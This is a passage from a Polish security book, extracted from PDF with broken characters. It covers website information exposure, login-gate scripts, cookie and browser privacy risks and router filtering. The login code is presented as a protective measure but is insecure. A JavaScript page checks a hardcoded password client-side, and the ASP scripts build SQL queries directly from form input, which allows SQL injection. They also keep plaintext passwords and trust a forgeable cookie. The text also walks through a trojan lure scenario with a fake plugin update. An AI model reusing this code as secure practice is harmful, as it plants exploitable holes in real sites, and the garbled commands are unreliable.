Hack Wars. Tom 2. Na tropie hakerów 

138 

 

Projekt witryny internetowej 

Wiele witryn internetowych ujawnia krytyczne informacje na swoich stronach. W Interne-
cie często publikowane są dane, takie jak nazwiska osób kontaktowych, adresy poczty 
elektronicznej,  telefony  wewnętrzne,  schematy  infrastruktury  sieci,  zakresy  adresów 
sieciowych IP, a nawet nazwy społeczności. Dla przykładu jakaś z firm opublikowała 
nazwy społeczności SNMP, a jeden z routerów w oddziale umoŜliwiał zapis i odczyt. 

Jak  wyjaśniono  w  pierwszym  tomie  tej  ksiąŜki,  informacje  te  mogą  spowodować, 
Ŝ

e  ataki  hakerów,  polegające  na  uzyskaniu  kontaktów  z  pracownikami,  wysyłaniu 

wiadomości elektronicznych i próbach uzyskania zdalnej kontroli, będą przeprowadzane 
z  powodzeniem.  Jako  praktyczny  przykład  moŜesz  obejrzeć  firmowe  strony  informa-
cyjne, które zawierają informacje o pracownikach, mogące posłuŜyć do zdobycia kolej-
nych informacji (zobacz rysunek 1.43). 

Rysunek 1.43.  
Ujawnienie zbyt 
du
Ŝej liczby 
informacji mo
Ŝ
doprowadzi
ć 
do ataku hakera 

 

 

Biorąc to pod uwagę, naleŜy przyjąć ogólną zasadę niepublikowania na stronach interne-
towych nazwisk pracowników i ich adresów e-mail. Zastąpić je moŜesz formularzami na 
stronie  WWW  lub  adresami  nieujawniającymi  szczegółowych  informacji  na  temat  od-
biorcy poczty. Aby to zademonstrować, zmodyfikujemy stronę pokazaną na rysunku 1.43 
w  celu  ukrycia  krytycznych  informacji  (zobacz  rysunek  1.44).  Jak  moŜna  zobaczyć,  te 
zmiany mogą odwieść hakera od przeprowadzenia bezpośredniego ataku. JednakŜe w tym 
przypadku firma jest ciągle wraŜliwa na inne rodzaje ataków, na przykład bombardowanie 
skrzynek pocztowych. Aby tego uniknąć, jeszcze raz zmodyfikujemy stronę z kontaktami 
w celu eliminacji moŜliwości bezpośredniej wymiany informacji przez dołączenie for-
mularza (zobacz rysunek 1.45). 

Tak naprawdę najlepszym sposobem postępowania podczas tworzenia bezpiecznej wi-
tryny  internetowej  jest  dokładne  zbadanie  kaŜdej  strony  w  poszukiwaniu  zawartości, 
która  moŜe  ułatwić  atak  hakera.  Jeśli  na  witrynie  umieszczasz  schematy  wewnętrznej 
sieci, strukturę IP oraz nazwy społeczności, oznacza to wysłanie zaproszenia dla hakerów. 

background image

 
Rozdział 1. 

 Zabezpieczanie portów i usług 

139 

 

139

 

Rysunek 1.44.  
Umieszczanie 
na stronach 
internetowych bardziej 
ogólnych informacji 
kontaktowych 
jest znacznie 
bezpieczniejsze 

 

 

 

Rysunek 1.45.  
Eliminacja 
bezpo
średniej 
wymiany danych 
mo
Ŝe być 
najskuteczniejsza 

 

 

Nawet jeśli nie musisz obawiać się ujawniania takich informacji, zawsze dobrym pomy-
słem jest implementacja prostej zapory wejściowej. Wiadomo, iŜ umieszczenie na stronie 
kodu,  takiego  jak  skrypt  logowania,  skrypty  ASP  i  VB  czy  plików  wykonywalnych 
CGI,  często  odstrasza  nocnych  napastników.  PoniŜej  przedstawiono  przykład  adaptacji 
prostego i łatwego do implementacji skryptu logowania,  utworzonego  w Javie przez 
znanego programistę Johna Fentona: 

<HTML> 
<HEAD> 

<H1><CENTER>Wprowad

ź

 hasło</H1></CENTER>  

<!--Je

ś

li chcesz, mo

Ŝ

esz zmieni

ć

 lub usun

ąć

 ten nagłówek --> 

background image

 
140 

Hack Wars. Tom 2. Na tropie hakerów 

140 

 

<SCRIPT LANGUAGE=JAVASCRIPT> 

 

    function verify(){ 
    var password ="12345"; // Tutaj podaj hasło  

// Podaj stron

ę

, do której nale

Ŝ

y przej

ść

, je

ś

li hasło jest 

poprawne  

    var protected_page ="mypage.html";  
    var pd=document.password.pin.value  
// Mo

Ŝ

esz zmieni

ć

 'pin', je

ś

li poni

Ŝ

ej zmienisz nazw

ę

 okna hasła 

    if(pd!=password) // sprawdza hasło 

 

        { 
        alert("Niewła

ś

ciwe hasło"); 

    } 

 

    else 

        { 
        alert("Hasło poprawne"); 

        window.location.href=protected_page; // Przenosi do podanej 

powy

Ŝ

ej zabezpieczonej strony 

    }} 

 

    </SCRIPT> 
    <TITLE> 
    <!-- Zmie

ń

 to --> 

    </TITLE> 
    </HEAD> 

    <BODY bgcolor=black text=red> <!--Je

ś

li chcesz, mo

Ŝ

esz zmieni

ć

 

zestaw kolorów --> 

    <BR> 
    <BR> 
    <CENTER> 

    <FORM name=password> <!--Mo

Ŝ

esz zmieni

ć

 nazw

ę

 formularza, ale 

musisz tego dokona

ć

 równie

Ŝ

 powy

Ŝ

ej --> 

    <INPUT type=password name=pin> <!--Mo

Ŝ

esz zmieni

ć

 'pin', ale 

musisz tego dokona

ć

 równie

Ŝ

 powy

Ŝ

ej --> 

    <BR> 
    <BR> 

    <INPUT type=button value=Submit OnClick="verify()"> <!--Mo

Ŝ

esz 

zmieni

ć

 nazw

ę

 funkcji, ale musisz tego dokona

ć

 równie

Ŝ

 

powy

Ŝ

ej--> 

    </CENTER> 
    </BODY> 
    </HTML> 

Kolejnym przykładem jest TigerPass, który moŜe być uŜyty jako wewnętrzna bramka 
logowania  i  moŜe  zostać  w  prosty  sposób  przekształcony  do  frontonu  CGI.  Przedsta-
wiony na rysunku 1.46 oraz w postaci następującego kodu program został opracowany 
przez programistę Visual Basica — Philipa Beama; narzędzie to automatycznie zapytuje 
małą  bazę  danych  o  nazwie  login.mdb  w  celu  uzyskania  rozliczeń dostępu  i  odno-
ś

ników krzyŜowych. 

Rysunek 1.46.  
Plik wykonywalny 
logowania TigerPass 
mo
Ŝe być wykorzystany 
jako moduł sprawdzaj
ący 
hasło wej
ściowe 

 

 

background image

 
Rozdział 1. 

 Zabezpieczanie portów i usług 

141 

 

141

 

TigerPass 

Private Sub Command1_Click() 
    Login.Data1.Recordset.FindFirst "memID = '" & Login.Text1.Text & 
"'" 
    If Login.Pass.Caption = Login.Text2.Text Then 
        MsgBox "Login succesful!" 
        Login.MemID.Caption = "" 
        Login.Pass.Caption = "" 
        Login.Text1.Text = "" 
        Login.Text2.Text = "" 
        Exit Sub 
    End If 
    MsgBox " Login unsuccesful!" 
    Login.Text1.Text = "" 
    Login.Text2.Text = "" 
End Sub 
 
Private Sub Command2_Click() 
    Login.Data1.Recordset.AddNew 
    Login.Data1.Recordset.Fields("memID") = "" & Login.Text1.Text & 
"" 
    Login.Data1.Recordset.Fields("pass") = "" & Login.Text2.Text & "" 
    Login.Data1.Recordset.Update 
    Login.MemID.Caption = "" 
    Login.Pass.Caption = "" 
    Login.Text1.Text = "" 
    Login.Text2.Text = "" 
End Sub 
 
Private Sub Command4_Click() 
    Login.Command5.Visible = True 
    Login.Command4.Visible = False 
    Login.Width = 3465 
End Sub 
 
Private Sub Command5_Click() 
    Login.Command4.Visible = True 
    Login.Command5.Visible = False 
    Login.Width = 5985 
End Sub 

Wypróbuj równieŜ TigerPass ASP, który moŜe być wykorzystywany jako bramka do 
zewnętrznego logowania. Przedstawiony na rysunku 1.47 oraz w postaci następujące-
go kodu program został opracowany przez programistę Microsoftu — J.L. du Preeza. Ta 
wersja udostępnia witrynie moŜliwość logowania oraz zapewnia zabezpieczenia haseł, 
a takŜe pozwala uŜytkownikom na zmianę swoich haseł. Aby program zadziałał, musisz 
po prostu zainstalować wszystkie pliki w katalogu na serwerze, a następnie umieścić 
plik password.mdb w katalogu /db, umieszczonym w głównym katalogu. 

Rysunek 1.47.  
Interfejs frontowy 
ASP TigerPass 

 

 

background image

 
142 

Hack Wars. Tom 2. Na tropie hakerów 

142 

 

TigerPass ASP: Login.asp 

<html> 
<head> 
<title>Prosz

ę

 zalogowa

ć

 si

ę

</title> 

<STYLE> 
<!-- 
      body {background: #000000; font-size: 20pt; color: #FEFCE0; 
font-family:  
       verdana, arial} 
      td {font-size: 9pt; color: #FEFCE0; font-family: verdana, 
arial} 
      A:link {text-decoration: none; color: #FFFFFF;} 
      A:visited {text-decoration: none; color: #FEFCE0;} 
      A:active {text-decoration: none; color: #FFFFFF;} 
      A:hover {text-decoration: none; color:#CCFFFF;} 
--> 
</STYLE> 
<body> 
<BR> 
<center><h1>  Aby kontynuowa

ć

, musisz zalogowa

ć

 si

ę

:</h1></center> 

<BR> 
<FORM ACTION="login1.asp" METHOD="post"> 
<P>&nbsp;</P> 
                    <center> <TABLE BORDER=0> 
                             <TR> 
                                     <TD ALIGN="right">Nazwa:</TD> 
                                     <TD><INPUT size="10" 
NAME="login"  
                                        ></INPUT></TD> 
                             </TR> 
                             <TR> 
                                     <TD ALIGN="right">Hasło:</TD> 
                                     <TD><INPUT TYPE="password" 
size="10"   
                                        NAME="password"></INPUT></TD> 
                             </TR> 
                             <TR> 
                                     <TD ALIGN="right"></TD> 
                                     <TD><INPUT TYPE="submit"      
                                        VALUE="Zaloguj"></INPUT> 
                                             <INPUT TYPE="reset"  
                                                
VALUE="Wyczy

ść

"></INPUT> 

                                     </TD> 
                             </TR> 
                     </TABLE></center> 
                     </FORM> 
 
 
</body></html> 

Login1.asp 

<%Dim Apples 
Set Apples = Server.CreateObject("ADODB.Connection") 
 
ConnStr = "DRIVER={Microsoft Access Driver (*.mdb)}; " 
ConnStr = ConnStr & "DBQ=" & Server.MapPath("db\password.mdb") 
Apples.Open(ConnStr) 
 

background image

 
Rozdział 1. 

 Zabezpieczanie portów i usług 

143 

 

143

 

SQLtemp = "SELECT * FROM password WHERE user = '" & 
Request.form("login") & "' " 

Set rs = Apples.Execute(SQLtemp) 
while not rs.eof 
 
dim username 
username = rs("user") 
 
dim friendlyname 
friendlyname = rs("name") 
 
 
response.cookies("passes") = username 
response.cookies("passes2") = friendlyname 

 
 

If Request.Form("login") = rs("user") AND Request.Form("password") = 
rs("pass") Then 
 
Response.redirect("protected.asp") 
    Else 
  Response.redirect("login2.asp") 
End If 

 

rs.MoveNext 
Wend 
OnError response.Redirect ("login2.asp") 
rs.Close 
Apples.Close 
set Apples = Nothing 

Login2.asp 

<html> 
<head> 
<title>Prosz

ę

 zalogowa

ć

 si

ę

</title> 

<STYLE> 
<!-- 
        body {background: #000000; font-size: 20pt; color: #FEFCE0; 
font-family:  
         verdana, arial} 
        td {font-size: 9pt; color: #FEFCE0; font-family: verdana, 
arial} 
        A:link {text-decoration: none; color: #FFFFFF;} 
        A:visited {text-decoration: none; color: #FEFCE0;} 
        A:active {text-decoration: none; color: #FFFFFF;} 
        A:hover {text-decoration: none; color:#CCFFFF;} 
--> 
</STYLE> 
<body> 
<BR> 
<center><h1>Niestety, logowanie nie powiodło si

ę

</h1></center> 

<center><h1>Prosz

ę

 spróbowa

ć

 ponownie</h1></center> 

<BR> 
<FORM ACTION="login1.asp" METHOD="post"> 
                    <center> <TABLE BORDER=0> 
                             <TR> 
                                     <TD ALIGN="right">Nazwa:</TD> 
                                     <TD><INPUT TYPE="text" size="10"  

                                     

 NAME="login"></INPUT></TD> 

                             </TR> 
                             <TR> 
                                     <TD ALIGN="right">Hasło:</TD> 

background image

 
144 

Hack Wars. Tom 2. Na tropie hakerów 

144 

 

                                     <TD><INPUT TYPE="password" 
size="10"  

                                     

 NAME="password"></INPUT></TD> 

                             </TR> 
                             <TR> 
                                     <TD ALIGN="right"></TD> 
                                     <TD><INPUT TYPE="submit" 
VALUE="Zaloguj"></INPUT> 
                                             <INPUT TYPE="reset" 
VALUE="Oczy

ść

"></INPUT> 

                                     </TD> 
                             </TR> 
                     </TABLE></center> 
                     </FORM> 

 

</body></html> 

Passchange.asp 

<%username = request.cookies("passes")%> 
<html> 
<head> 
<title>Zmie

ń

 hasło</title> 

<STYLE> 
<!-- 
        body {background: #000000; font-size: 20pt; color: #FEFCE0; 
font-family:  
         verdana, arial} 
        td {font-size: 9pt; color: #FEFCE0; font-family: verdana, 
arial} 
        A:link {text-decoration: none; color: #FFFFFF;} 
        A:visited {text-decoration: none; color: #FEFCE0;} 
        A:active {text-decoration: none; color: #FFFFFF;} 
        A:hover {text-decoration: none; color:#CCFFFF;} 
--> 
</STYLE> 
<body> 
<BR> 
<center><h1>Prosz

ę

 zmieni

ć

 swoje hasło</h1></center> 

<BR> 
<FORM ACTION="passchange1.asp" METHOD="post"> 
                    <center> <TABLE BORDER=0> 
                             <TR> 
                                     <TD ALIGN="right">Nazwa:</TD> 
                                     <TD><INPUT TYPE="text" 
Value=<%=username%>   
                                       size="10" 
NAME="login"></INPUT></TD> 
                             </TR> 
                             <TR> 
                                     <TD ALIGN="right">Stare 
hasło:</TD> 
                                     <TD><INPUT TYPE="password" 
size="10"  
                                       
NAME="oldpassword"></INPUT></TD> 
                             </TR> 
                             <TR> 
                                     <TD ALIGN="right">Nowe 
hasło:</TD> 
                                     <TD><INPUT TYPE="password" 
size="10"  

background image

 
Rozdział 1. 

 Zabezpieczanie portów i usług 

145 

 

145

 

                                       
NAME="newpassword1"></INPUT></TD> 
                             </TR> 
                             <TR> 
                                     <TD ALIGN="right">Potwierdzenie 
nowego  
                                       hasła:</TD> 
                                     <TD><INPUT TYPE="password" 
size="10"  
                                       
NAME="newpassword2"></INPUT></TD> 
                             </TR> 
                             <TR> 
                                     <TD ALIGN="right"></TD> 
                                     <TD><INPUT TYPE="submit"  
                                       VALUE="Zmie

ń

"></INPUT> 

                                             <INPUT TYPE="reset"  
                                               
VALUE="Wyczy

ść

"></INPUT> 

                                     </TD> 
                             </TR> 
                     </TABLE></center> 
                     </FORM> 

</body></html> 

Passchange1.asp 

<%Dim Apples 
Set Apples = Server.CreateObject("ADODB.Connection") 
 
ConnStr = "DRIVER={Microsoft Access Driver (*.mdb)}; " 
ConnStr = ConnStr & "DBQ=" & Server.MapPath("db\password.mdb") 
Apples.Open(ConnStr) 
 
SQLtemp = "SELECT * FROM password WHERE user = '" & 
Request.form("login") & "' " 
 
Set rs = Apples.Execute(SQLtemp) 
 
If Request.Form("login") = rs("user") AND Request.Form("oldpassword") 
= rs("pass")  
  AND Request.Form("newpassword1") = Request.Form("newpassword2") 
then 
SQL = "UPDATE password SET pass = '" & Request.Form("newpassword2") & 
"' WHERE user  
  = '" & Request.Form("login") & "'" 
Apples.Execute(sql) 
Response.redirect ("updated.asp") 
Else 
Response.redirect ("passchange2.asp") 
 
 
End If 
 
set ConnStr = Nothing 
rs.Close 
Apples.Close 
set ConnStr = Nothing 
 
%> 

background image

 
146 

Hack Wars. Tom 2. Na tropie hakerów 

146 

 

Passchange2.asp 

<%username = request.cookies("passes")%> 
<html> 
<head> 
<title>Zmie

ń

 hasło</title> 

<STYLE> 
<!-- 
      body {background: #000000; font-size: 20pt; color: #FEFCE0; 
font-family:  
       verdana, arial} 
      td {font-size: 9pt; color: #FEFCE0; font-family: verdana, 
arial} 
      A:link {text-decoration: none; color: #FFFFFF;} 
      A:visited {text-decoration: none; color: #FEFCE0;} 
      A:active {text-decoration: none; color: #FFFFFF;} 
      A:hover {text-decoration: none; color:#CCFFFF;} 
--> 
</STYLE> 
<body> 
<BR> 
<center><h1>Niestety, niektóre podane dane były 
niepoprawne.</h1></center> 
<BR> 
<FORM ACTION="passchange1.asp" METHOD="post"> 
                    <center> <TABLE BORDER=0> 
                             <TR> 
                                     <TD ALIGN="right">Nazwa:</TD> 
                                     <TD><INPUT TYPE="text" 
Value=<%=username%>  
                                       size="10" 
NAME="login"></INPUT></TD> 
                             </TR> 
                             <TR> 
                                     <TD ALIGN="right">Stare 
hasło:</TD> 
                                     <TD><INPUT TYPE="password" 
size="10"  
                                       
NAME="oldpassword"></INPUT></TD> 
                             </TR> 
                             <TR> 
                                     <TD ALIGN="right">Nowe 
hasło:</TD> 
                                     <TD><INPUT TYPE="password" 
size="10"  
                                       
NAME="newpassword1"></INPUT></TD> 
                             </TR> 
                             <TR> 
                                     <TD ALIGN="right">Potwierdzenie 
hasła:</TD> 
                                     <TD><INPUT TYPE="password" 
size="10"  
                                      
NAME="newpassword2"></INPUT></TD> 
                             </TR> 
                             <TR> 
                                     <TD ALIGN="right"></TD> 
                                     <TD><INPUT TYPE="submit"  
                                       VALUE="Zaloguj"></INPUT> 

background image

 
Rozdział 1. 

 Zabezpieczanie portów i usług 

147 

 

147

 

                                             <INPUT TYPE="reset"  
                                               
VALUE="Wyczy

ść

"></INPUT> 

                                     </TD> 
                             </TR> 
                     </TABLE></center> 
                     </FORM> 

 
 

</body></html> 

Protected.asp 

<%username = request.cookies("passes")%> 
<%friendlyname = request.cookies("passes2")%> 
<%If request.cookies("passes") = "" then response.redirect 
("login.asp")%> 
<html><head><title>Prosz

ę

 wybra

ć

 miejsce docelowe</title> 

<STYLE> 
<!-- 
        H1 {font-size: 20pt; color: #FEFCE0; font-family: verdana, 
arial} 
        body {background: #000000; font-size: 15pt; color: #FEFCE0; 
font-family:  
         verdana, arial} 
        td {font-size: 9pt; color: #FEFCE0; font-family: verdana, 
arial} 
        A:link {text-decoration: none; color: #FFFFFF;} 
        A:visited {text-decoration: none; color: #FEFCE0;} 
        A:active {text-decoration: none; color: #FFFFFF;} 
        A:hover {text-decoration: none; color:#CCFFFF;} 
--> 
</STYLE> 
</head> 
<body> 
<BR> 
<h1><center>Witam <%=friendlyname%>.  Tu mo

Ŝ

esz znale

źć

 pliki  

  

ź

ródłowe</center></h1> 

<BR><BR><BR> 
<center><a href="pass.zip">Plik 

ź

ródłowy tych stron</a></center> 

<BR> 
<center><a href="passchange.asp">Zmie

ń

 swoje hasło</a></center> 

<BR> 
<center><a href="login.asp">Wyloguj i zaloguj si

ę

 

ponownie</a></center> 
</body> 
</html> 

Updated.asp 

<%username = request.cookies("passes")%> 
<%friendlyname = request.cookies("passes2")%> 
<html><head><title>Wybierz miejsce docelowe</title> 
<STYLE> 
<!-- 
        H1 {font-size: 20pt; color: #FEFCE0; font-family: verdana, 
arial} 
        body {background: #000000; font-size: 15pt; color: #FEFCE0; 
font-family:  
         verdana, arial} 
        td {font-size: 9pt; color: #FEFCE0; font-family: verdana, 
arial} 

background image

 
148 

Hack Wars. Tom 2. Na tropie hakerów 

148 

 

        A:link {text-decoration: none; color: #FFFFFF;} 
        A:visited {text-decoration: none; color: #FEFCE0;} 
        A:active {text-decoration: none; color: #FFFFFF;} 
        A:hover {text-decoration: none; color:#CCFFFF;} 
--> 
</STYLE> 
</head> 
<body> 
<BR> 
<h1><center>Dzi

ę

kuj

ę

, <%=friendlyname%>.  Hasło zostało 

zmienione</center></h1> 
<BR><BR><BR> 
<center><a href="pass.zip">Plik 

ź

ródłowy tych stron</a></center> 

<BR> 
<center><a href="passchange.asp">Zmie

ń

 swoje hasło</a></center> 

<BR> 
<center><a href="login.asp">Wyloguj i zaloguj si

ę

 

ponownie</a></center> 
</body> 
</html> 

 

 

Te programy są dostępne na dołączonym do ksiąŜki CD-ROM-ie. 

Anonimowość uŜytkownika 

Prywatni  i  korporacyjni uŜytkownicy  chcą  mieć pewność, Ŝe  mogą anonimowo  surfo-
wać po Internecie i łączyć się z sieciami rozległymi. Niestety, pod względem technicz-
nym jest to trudne do osiągnięcia i ta kwestia staje się kolejną furtką, przez którą jest 
przeprowadzane  zdalne  zbieranie  informacji.  Hakerzy  mogą  przyciągnąć  uŜytkow-
ników  do  konkretnej  witryny  internetowej,  uŜywając  takich  zachęt,  jak  dowcipy,  dar-
mowe lub pirackie oprogramowanie, aukcje z najlepszymi cenami, czy najświeŜsze 
informacje. Wystarczy jedna krótka wizyta na takiej stronie, aby napastnik przechwycił 
poŜądane informacje. 

Informacje  przeglądane  lub  pobierane  przez  przeglądarkę  są  przechwytywane  przez  co-
okies, słynne — i niesławne — niewidoczne komunikaty, przesyłane do przeglądar-
ki przez serwer internetowy. Przeglądarka przechowuje zwykle te komunikaty w pliku 
cookie.txt. Cookies są stale przesyłane w trakcie procesu komunikacji HTTP. Przeglą-
darka zwykle przechowuje cookies aŜ do następnego odwiedzenia danej strony. 

Nie wszystkie cookies są szkodliwe, ale część z nich tak. Początkowo cookies miały 
być przydatne dla internautów; utworzono je w celu identyfikacji preferencji uŜytkow-
nika  przed  wygenerowaniem  dynamicznej  strony  internetowej  dla  tej  osoby.  Często 
napotykamy witryny wyglądające tak, jakby „oczekiwały” na nas (zobacz rysunek 1.48). 
Jest to moŜliwe  właśnie dzięki cookies. Wadą tego procesu (wykorzystaną przez ha-
kerów)  jest  fakt,  iŜ  niektóre  sieci  i  intranety  zostały  zaprojektowane  tak,  aby  odróŜ-
niać adresy IP i nazwy hostów. Co więcej, czas Ŝycia cookies róŜni się, a niektóre z nich 
o nazwie „nieśmiertelnych cookies” istnieją na dysku przez długi czas, będąc dostępnymi 
dla hakerów. 

background image

 
Rozdział 1. 

 Zabezpieczanie portów i usług 

149 

 

149

 

Rysunek 1.48.  
Dynamiczne witryny 
internetowe 
„pami
ętają” 
swoich u
Ŝytkowników 
dzi
ęki cookies 

 

 

Java  i  JavaScript  działają  podobnie  jak  cookies  pod  względem  technik  gromadzenia 
informacji. Jak na pewno wiesz, przeglądarka jest po prostu kompilatorem kodu pro-
gramów,  który odczytuje strony internetowe, zaprojektowane  w  takich językach, jak 
ASP, HTTP, VBScript, Java  i innych. Przeglądarka  kompiluje następnie kod  w  celu 
utworzenia informacji widocznej w oknie programu. MoŜna więc powiedzieć, iŜ po-
dobnie jak cookies, kod Java w Internecie moŜe być uŜyty przeciwko Tobie. 

Przy uŜyciu cookies i Javy zdalni napastnicy mogą potencjalnie uzyskać następujące dane: 









 

typ Twojej przeglądarki, 









 

zainstalowane wtyczki (pluginy) przeglądarki, 









 

połoŜenie Twojego punktu obecności (point of presence — POP), 









 

format daty i czasu w Twoim systemie, 









 

dokładne informacje o domenie, 









 

ostatnio odwiedzane witryny, 









 

czy akceptowane są języki Java, JavaScript oraz VBScript, 









 

Twój adres IP, 









 

nazwę Twojego komputera, 









 

Twój adres e-mail. 

MoŜesz  w  to  wierzyć  albo  nie,  ale  to  wystarczająco  duŜo  informacji,  aby  rozpocząć 
wiele rodzajów ataków na Twój system. Oto prosty przykład. 

1.

 

Projektuję stronę internetową z dowcipami, znajdującą się na wielu darmowych 
serwerach, dostępnych w sieci. 

2.

 

Reklamuję tę stronę przy uŜyciu popularnych wyszukiwarek, serwerów list 
i tablic ogłoszeń. 

3.

 

UŜytkownik szuka dobrego dowcipu, który mógłby przesłać do swoich 
znajomych i rodziny, przez co trafia na moją stronę. W tym momencie 

background image

 
150 

Hack Wars. Tom 2. Na tropie hakerów 

150 

 

odkrywam część przedstawionych powyŜej informacji, na przykład dane 
o zainstalowanych wtyczkach. 

4.

 

UŜytkownik otrzymuje przyjazną wiadomość e-mailową, informującą 
go o pojawieniu się waŜnych aktualizacji wtyczek Shockwave Flash lub Real 
Player
. W wiadomości znajduje się odnośnik do strony, z której moŜna 
za darmo pobrać aktualizację. 

5.

 

UŜytkownik pobiera plik zawierający nowszą wersję wtyczki. Nie wie jednak 
w tym momencie, Ŝe znajduje się tam równieŜ koń trojański Homer, który 
umoŜliwia przejęcie kontroli nad jego komputerem. 

Wynik? Zobacz rysunek 1.49. 

Rysunek 1.49.  
Wpadłeś

 

 

Ten typ próby ataku zdarza się co chwila, a uŜytkownicy często obciąŜają pomyłkowo 
prawidłową  konfigurację  oprogramowania  za  występujące  problemy  systemowe, 
podczas gdy ich systemy zostały zainfekowane przez destrukcyjne demony. 

 

 

Aby sprawdzić, co „oni” juŜ wiedzą o Tobie, zaloguj się na stronie  
www.anonymizer.com

Do  przeciwdziałania  takiemu  zagroŜeniu  anonimowości  uŜytkownika  moŜna  wyko-
rzystać  mechanizmy  zabezpieczeń  sieci  i  komputerów  osobistych.  Większość  prze-
glądarek  umoŜliwia  równieŜ  ustawienie  standardowych  środków  zabezpieczających. 
Funkcje  Microsoft  Internet  Explorera  mogą  być  zmodyfikowane  przez  rozwijalne 
menu Opcje internetowe (zobacz rysunek 1.50). 

background image

 
Rozdział 1. 

 Zabezpieczanie portów i usług 

151 

 

151

 

Rysunek 1.50.  
Ustawianie poziomu 
zabezpiecze
ń 
w Internet Explorerze 

 

 

Kolejną  prostą  metodą  zabezpieczania  jest  aktualizacja  przeglądarki  internetowej  do 
najnowszej wersji, niezaleŜnie od producenta, gdyŜ zwykle zawiera ona ulepszone środki 
bezpieczeństwa  przeciwko  typowym  sposobom  włamania.  Wszyscy  domowi  i  korpora-
cyjni  uŜytkownicy  Internetu  powinni  zmodyfikować  poziom  bezpieczeństwa  zgodnie 
z osobistymi  lub  firmowymi  potrzebami.  Jak  pokazano  na  rysunku  1.51,  wiele  prze-
glądarek pozwala na dopasowanie własnych opcji zabezpieczeń. Dla przykładu, aby w MS 
Internet Explorerze
 ustawić poziom zabezpieczeń, z menu Narzędzia wybierz Opcje in-
ternetowe
,  a następnie  kliknij  zakładkę  Zabezpieczenia.  Teraz  kliknij  strefę,  w  której 
chcesz zmodyfikować poziom zabezpieczeń. Przesuń suwak w górę, aby ustawić wyŜszy 
standard  zabezpieczeń,  lub  w  dół,  aby  uzyskać  niŜszy  standard.  Aby  własnoręcznie 
ustawić ustawienia zabezpieczeń dla danej strefy, kliknij przycisk Poziom niestandardowy 
(Twoja  przeglądarka  moŜe  równieŜ  pozwalać  na  konfigurację  „zaufanych”  i  „niezaufa-
nych” witryn, dzięki czemu uzyskuje się większą kontrolę nad przeglądanymi stronami). 

ś

al mi to mówić, ale cookies najbezpieczniej wyłączyć w ogóle; podobne środki bezpie-

czeństwa naleŜy zastosować w stosunku do kodu Java, spotykanego na stronach WWW. 
„Porządne”  witryny  zwykle  zawierają  odnośnik  pozwalający  na  ręczne  zalogowanie 
się w przypadku przeglądarek nieobsługujących cookies (czyli tych, które „nie biorą cu-
kierków od obcych”). RównieŜ konfiguracja restrykcyjnych ograniczeń Javy w czasie 
sesji moŜe zmusić witryny korzystające z niej do wyświetlenia prośby o zgodę na uŜy-
cie tego języka. Zajmie to zwykle kilka sekund i nie wymaga restartu komputera. 

background image

 
152 

Hack Wars. Tom 2. Na tropie hakerów 

152 

 

Rysunek 1.51.  
Dopasowanie funkcji 
zabezpiecze
ń w MS 
Internet Explorerze 

 

 

 

 

W  celu  uzyskania  dodatkowych  zabezpieczeń  sprawdź  wcześniej  wymieniony  program 
TigerSurf, omówiony w załączniku A i dołączony do tej ksiąŜki na CD-ROM-ie. 

Skanowanie zakresu adresów IP 

Jeśli przeczytałeś pierwszy tom tej ksiąŜki, juŜ wiesz, iŜ skanowanie zakresu adresów IP 
jest  jednym  z  pierwszych  kroków  wykonywanych  w  czasie  zdalnego  badania  celu. 
Działanie skanerów IP polega na przeczesywaniu całego zakresu adresów IP i zgłaszaniu 
węzłów, które są aktywne lub odpowiadają na Ŝądania echa PING lub ICMP. Takie ak-
tywne, zalogowane i opisane węzły stają się częścią składową schematów sieci docelowej. 
Kolejnym krokiem jest wtedy wykorzystanie technik badania niezabezpieczonych portów. 

Blokując lub filtrując skanowanie zakresu adresów IP, zniechęcamy wielu agresorów do 
wykorzystania  bardziej  zaawansowanych  technik  badań  potencjalnie  zagroŜonych 
systemów. Wprowadzenie tych technik zabezpieczeń musi być jednak wykonane ostroŜ-
nie, poniewaŜ niektóre systemy  mogą  wymagać  uŜycia usługi  „ping” ze  względu  na 
wykorzystanie  programów  do  lokalnego  zarządzania  i  monitorowania,  które  aktywnie 
wysyłają Ŝądania. W takiej sytuacji alternatywą  moŜe być pozwolenie  na  wysyłanie od-
powiedzi do autoryzowanych adresów przy całkowitym zablokowaniu usługi dla pozosta-
łych hostów. 

Najbardziej efektywną ochronę przed skanowaniem zakresu adresów IP moŜna uzyskać 
przy uŜyciu frontowych bramek zabezpieczeń, takich jak routery, firewalle i zaawansowa-
ne  proxy.  W  trakcie  podejmowania  decyzji  powinieneś  zajrzeć  do  podręcznika  obsługi 
i opisu poleceń bramki, a takŜe skonsultować rozwiązania ze swoim dostawcą usług in-
ternetowych. 

background image

 
Rozdział 1. 

 Zabezpieczanie portów i usług 

153 

 

153

 

Pozostała  część  tego  rozdziału  jest  poświęcona  opisowi  typowych  przykładów  ogól-
nego filtrowania przy uŜyciu konkretnych bramek. 

Router 3Com 

Aby skonfigurować filtry dla routera IP, wykonaj poniŜsze czynności. 

1.

 

Ustaw zasady filtrowania przy uŜyciu: 

ADD -IP FilterAddrs <

adres1

> [<

katalog

>] <

adres2

> [<

działanie

>  

 [<

protokół

> [<

ID_filtra

>]]]<

działanie

> = 

{PROTocolRsrv=<

znacznik

>}| 

Discard | DODdiscard | Forward | {QPriority = H | M | L} 
X25Profile 
= <

profil

>} <

protokół

> = DLSW | FTP | IP | IPDATA | ICMP | SMTP | 

TCP | TELNET | UDP 

2.

 

W razie potrzeby utwórz filtr lub filtry przy uŜyciu: 

ADD !<

ID_filtra

> -IP FIlters <

warunek

> [,<

warunek

...] <

warunek

= <

%offset

>:[<

operator

>]<

%wzorzec

3.

 

Ustaw parametr 

FilterDefAction

 przy uŜyciu: 

SETDefault -IP FilterDefAction = [Forward | Discard] 

4.

 

Włącz filtrowanie pakietów, wprowadzając: 

SETDefault -IP CONTrol = Filtering 

Cabletron/Enterasys 

Aby zabezpieczyć procesor przed nadmiernym ruchem, wykonaj poniŜsze czynności. 

1.

 

Zainstaluj poniŜsze lub podobne listy kontroli dostępu (ACL): 

ssr(config)# ac1 hackstop deny tcp any x.x.x.x/32 any >1024 
ssr(config)# ac1 hackstop deny udp any x.x.x.x/32 any >1024 
ssr(config)# ac1 hackstop permit ip any any any any 

2.

 

Zastosuj powyŜsze listy ACL dla interfejsu, portu lub vLAN-u. PoniŜszy przykład 
przedstawia sposób zastosowania listy ACL dla interfejsu o nazwie ip-Inter: 

ssr(config)# ac1 hackstop apply interface ip-Inter input 

Checkpoint FireWall-1 

Aby uniemoŜliwić przechodzenie ICMP przez firewall, wykonaj poniŜsze czynności. 

1.

 

